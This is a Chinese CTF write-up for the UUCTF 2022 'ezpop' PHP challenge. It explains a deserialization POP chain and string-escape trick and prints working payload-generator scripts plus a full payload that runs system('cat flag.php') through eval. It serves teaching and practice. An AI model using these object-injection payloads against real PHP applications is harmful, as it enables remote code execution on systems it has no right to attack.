[UUCTF 2022 新生赛]ezpop
- 一、解题过程
- 二、其他WP
- 三、总结反思

一、解题过程
题目代码:
 <?php
//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
   		if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>
-  分析 
 起点:UUCTF(__construct)
 终点:youwant(rce)
 链条:UUCTF(key='UUCTF';basedata=反序列化数据)-> nothing(a=&$n->b;t=$o)-> output(a=$y)-> youwant(cmd=命令)
 注意点:1、UUCTF的basedata用来存放反序列化数据
 2、参数是data,通过post传参
 3、post的参数,需要通过字符串逃逸
-  针对此类题目,由于特点是把我们的序列化数据再次序列化,随便传个nb进去,看看到底经过二次序列化后的数据是什么样 <?php class UUCTF{ public $name,$key,$basedata,$ob; function __construct($str){ $this->name=$str; } } $pdata="nb"; $data=serialize(new UUCTF($pdata)); echo $data; $data_replace=str_replace("hacker","loveuu!",$data); //echo $data_replace; ?>得到:O:5:“UUCTF”:4:{s:4:“name”;s:2:" nb ";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}
 nb之前:O:5:'UUCTF':4:{s:4:'name';s:2:'
 nb之后:';s:3:'key';N;s:8:'basedata';N;s:2:'ob';N;}
 而nb就是我们可以操作的地方
-  假设我们前面做的再好,比如构造好了包含basedata的序列化代码 
 但是最后这段插入的位置是在nb那里,只会执行nb之后的 s:8:‘basedata’;N;
 所以我们需要把nb之后的所有给逃逸掉,重点在于把basedata重构
-  根据分析,先把database的序列化代码写出来(特别注意,这里要base64_encode,而不是urlencode) <?php class output{ public $a; } class nothing{ public $a; public $b; public $t; } class youwant{ public $cmd; } $o = new output(); $n = new nothing(); $y = new youwant(); $n->a=&$n->b; $n->t=$o; $o->a=$y; $y->cmd="system('cat flag.php');"; //echo serialize($n); echo base64_encode(serialize($n)); ?>得到: 
 Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19
-  再构造完整的语句,也就是第二步得到的nb后,将key设为UUCTF、basedata设为第四步得到的base64编码 
 ";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}
 变成
 ";s:3:"key”;s:5:"UUCTF";s:8:“basedata”;s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:“ob”;N;}
-  要使这些语句能够正确反序列化,需要进行逃逸,共236个字符 
 hacker = 6字符 -> loveuu! = 7字符 —— 经过变化后可以逃逸一个字符
 使用工具:在线文本重复工具 得到236个hacker拼接在前payload=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;} 
二、其他WP
2022 UUCTF Web
 直接利用脚本生成payload,更快,但是我估计我想不到
<?php
//flag in flag.php
error_reporting(0);
class output{
     public $a;
}
class nothing{
     public $a;
     public $b;
     public $t;
     function __wakeup(){
     $this->a="";
     }
     function __destruct(){
     $this->b=$this->t;
     die($this->a);
     }
}
class youwant{
     public $cmd="system('cat flag.php');";
}
$A = new nothing();
$A->a = &$A->b;
$A->t = new output();
$A->t->a = new youwant();
$basedata = base64_encode(serialize($A));
$data = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
$hacker='';
for($i=0;$i<strlen($data);$i++)
     $hacker .= 'hacker';
echo $hacker.$data;
?>
三、总结反思
这道题目来来回回应该是做了3次。第一次自己做,在字符串逃逸的时候思路错了。第二次看答案做,跟着步骤来,也理解了,但是不确定有没有掌握。第三次做了非常久,换了几种思路做,终于做出来了!
 本人水平有限,做出这道题花了不少时间,目的就是为了掌握这种反序列化+逃逸题目的解题思维,总之还是收获不少。



















